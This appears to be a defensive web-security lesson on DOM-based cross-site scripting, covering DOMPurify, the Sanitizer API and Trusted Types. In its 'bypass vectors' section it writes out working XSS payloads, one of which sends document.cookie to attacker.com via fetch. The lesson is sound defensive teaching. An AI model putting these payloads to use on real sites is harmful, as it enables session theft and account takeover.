LEARNING OBJECTIVES ⌵
- Identify and dissect DOM-Based Cross-Site Scripting (DOM XSS) attack vectors (
innerHTML,outerHTML,document.write). - Implement robust client-side HTML sanitization using industry-standard DOMPurify.
- Understand the W3C/WHATWG HTML Sanitizer API (
Element.prototype.setHTML()). - Enforce cryptographic security boundaries using the Trusted Types API and Content Security Policy (CSP).
📖 The Mental Model & Story (Intuitive Foundation)
Imagine a high-security embassy building. When diplomats receive diplomatic mail parcels from around the world, they do not take the sealed packages directly into the President's private conference room and slice them open uninspected.
UNSANITIZED DANGEROUS DELIVERY:
[ Untrusted Remote Mail ] === (Direct Insertion) ===> [ Oval Office (Live Document) ]
(Package contained a hidden chemical device / <script> tag -> Catastrophic Breach!)
SANITIZATION PROTOCOL (Sterilization Chamber):
[ Untrusted Remote Mail ] ===> [ Hazardous Bio-Scanner (Sanitizer / DOMPurify) ]
|
+------------------+------------------+
| Disarms: <script>, onerror, onload |
| Keeps: Safe text, <b>, <i>, <p> |
+------------------+------------------+
|
v (Pure, Neutralized Document)
[ Oval Office (Live Document) ]
Instead, all packages pass through a Hazmat Sterilization Chamber. Technicians inspect every item against an approved whitelist: books and letters pass through safely, while hazardous chemicals, weapons, and hidden detonators are neutralized and incinerated.
In web applications, raw user inputs (blog comments, chat messages, markdown previews) are uninspected mail parcels. If you inject them into element.innerHTML, any hidden <script> or <img onerror=...> payload executes immediately with full user permissions (stealing session tokens and local storage). A Sanitizer is the hazmat chamber: it parses the HTML into a detached memory tree, scrubs out dangerous tags and event attributes according to a strict whitelist, and returns clean, safe HTML.
Technical Deep Dive & Specifications
The Mechanics of DOM-Based Cross-Site Scripting (DOM XSS)
DOM XSS occurs when client-side JavaScript reads data from an untrusted Source (e.g. location.search, location.hash, API responses, user inputs) and writes it into a dangerous execution Sink:
[ UNTRUSTED SOURCES ] [ DANGEROUS DOM SINKS ]
- location.href / location.search ====> - element.innerHTML
- window.name ====> - element.outerHTML
- document.referrer ====> - document.write()
- fetch() API JSON / Markdown data ====> - eval() / setTimeout(string)
Common bypass vectors that defeat naive regex filtering:
<!-- Vector 1: Inline Event Handlers -->
<img src="invalid-image" onerror="fetch('https://attacker.com/steal?c=' + document.cookie)">
<!-- Vector 2: SVG Script Injection -->
<svg><script href="data:text/javascript,alert(document.domain)" /></svg>
<!-- Vector 3: Nested Tag Mutation / MCap bypass -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
The Three Defensive Tiers of HTML Generation
+--------------------------------------------------------------------------------+
| TIER 1: Native Safe APIs (Zero HTML Parsing) |
| - textContent, setAttribute (non-URI), createTextNode() |
| -> 100% immune to XSS, but cannot render rich formatting (bold, links). |
+--------------------------------------------------------------------------------+
|
+--------------------------------------------------------------------------------+
| TIER 2: Dedicated Sanitization Libraries (DOMPurify) |
| - DOMPurify.sanitize(untrustedHtml, { ALLOWED_TAGS: ['b', 'i', 'a'] }) |
| -> Parses HTML into detached inert DOM, recursively strips malicious nodes. |
+--------------------------------------------------------------------------------+
|
+--------------------------------------------------------------------------------+
| TIER 3: Modern Platform Standards (Sanitizer API & Trusted Types) |
| - element.setHTML(untrustedHtml, { sanitizer: new Sanitizer() }) |
| - window.trustedTypes.createPolicy('my-policy', { createHTML: ... }) |
| -> Browser-enforced, kernel-level sink validation. |
+--------------------------------------------------------------------------------+
Comparing Defensive Technologies
| Technology | Support Level | Execution Context | How It Works |
|---|---|---|---|
textContent |
Universal (All browsers) | Plain Text | Bypasses HTML parser completely. |
| DOMPurify | Universal (Library) | DOM Tree Scrubbing | In-memory DOM tree sanitization via inert DOMParser. |
Sanitizer API (setHTML) |
Emerging Standard (W3C/WHATWG) | Native Browser Engine | Native browser C++ parser scrubs untrusted tokens before attaching to DOM. |
| Trusted Types API | Modern Chromium / W3C Standard | CSP Policy Enforcement | Disallows raw string assignment to innerHTML, forcing typed TrustedHTML wrappers. |
💻 Interactive Code Playground
Starter Code
Line-by-Line Code Breakdown
- Line 5 (
purify.min.js): Loads DOMPurify, the industry gold-standard HTML sanitizer created by Cure53. - Line 24–27 (
<textarea id="payload">): Contains high-risk XSS vectors: an<img>tag with anonerrorhandler and an<a>tag with ajavascript:protocol URI. - Line 53 (
unsafeSink.innerHTML = rawPayload): The dangerous sink. The browser parses the<img>tag, fails to loadnon-existent.jpg, and firesonerror, executing arbitrary JavaScript. - Line 57–61 (
DOMPurify.sanitize(...)): The secure sink. DOMPurify parses the string into an off-screen DOM tree, strips theonerrorattribute, neutralizesjavascript:fromhref, and returns harmless HTML. - Line 63 (
safeSink.innerHTML = cleanHTML): Renders only safe tags (<p>,<b>,<img>withoutonerror, and<a>without malicious protocols).
Expected Browser Render Output
(Notice that the sanitized sink rendered the image without running any malicious JavaScript).
Client-Side HTML Sanitization Lab
[ Input Rich Text HTML Payload ]
[ Process & Render Payload ]
❌ Unsafe Render Sink (innerHTML) 🟢 Sanitized Render Sink (DOMPurify)
+---------------------------------------+ +---------------------------------------+
| Welcome Valued User! | | Welcome Valued User! |
| [ Broken Image Icon ] | | [ Broken Image Icon ] |
| Claim Free Crypto | | Claim Free Crypto |
+---------------------------------------+ +---------------------------------------+
Security Telemetry:
🚨 EXPLOIT TRIGGERED: JavaScript executed via onerror!🏋️ Hands-On Exercise
🎯 The Challenge: Secure User Comment Thread Sanitizer
Instructions:
- Build a comment posting component that takes user markdown/HTML comments.
- Configure a custom DOMPurify policy with the following security constraints:
- Allowed Tags: Only
['p', 'strong', 'em', 'code', 'blockquote', 'a']. - Allowed Attributes: Only
hrefon<a>tags. - Enforce Target & Rel: Every link must automatically include
target="_blank"andrel="noopener noreferrer".
- Allowed Tags: Only
- Test your sanitizer against an input containing
<script>alert('Steal')</script><strong>Great post!</strong><a href="https://example.com" onclick="steal()">Link</a>.
🏁 Starter Code Sandbox
⚠️ Common Pitfalls
- Writing Custom Regex to "Sanitize" HTML: Regex cannot parse non-regular languages like HTML. Attackers routinely bypass custom regex using character encoding (
\x3cscript\x3e), null bytes, SVG namespaces, and malformed closing tags. Always use a parser-based sanitizer like DOMPurify. - Assuming
encodeURIComponent()Prevents DOM XSS: Encoding a URL does not prevent XSS if the decoded result is injected intoinnerHTMLor an unquoted attribute. - Sanitizing on the Server Only: If dynamic client-side JavaScript reads from URL parameters (
window.location.hash) and writes directly toinnerHTML, server-side sanitizers are completely bypassed because the payload never touched the server! Client-side sinks require client-side defenses.
💡 Pro Tips
- Enforce W3C Trusted Types with CSP: Add the HTTP header
Content-Security-Policy: require-trusted-types-for 'script';. This instructs the browser engine to throw a fatal error if any script assigns a raw string toinnerHTML, forcing developers to route all HTML synthesis through an audited sanitization policy. - Adopt the Native HTML Sanitizer API: Modern browsers are standardizing
element.setHTML(untrustedString). This API executes sanitization in native C++ inside the browser's HTML parser, offering faster execution and zero JavaScript library bundle overhead.
📌 Key Takeaways
- DOM-Based XSS occurs when untrusted data from sources is written into execution sinks (
innerHTML,outerHTML). - Plain text assignments via
element.textContentare 100% immune to XSS injection. - When rich markup is required, use DOMPurify to strip executable tags, inline event handlers (
onload,onerror), andjavascript:URIs. - Custom regular expressions are fundamentally incapable of securing HTML against modern injection techniques.
- The Trusted Types API locks down execution sinks at the browser kernel level using Content Security Policy.
- --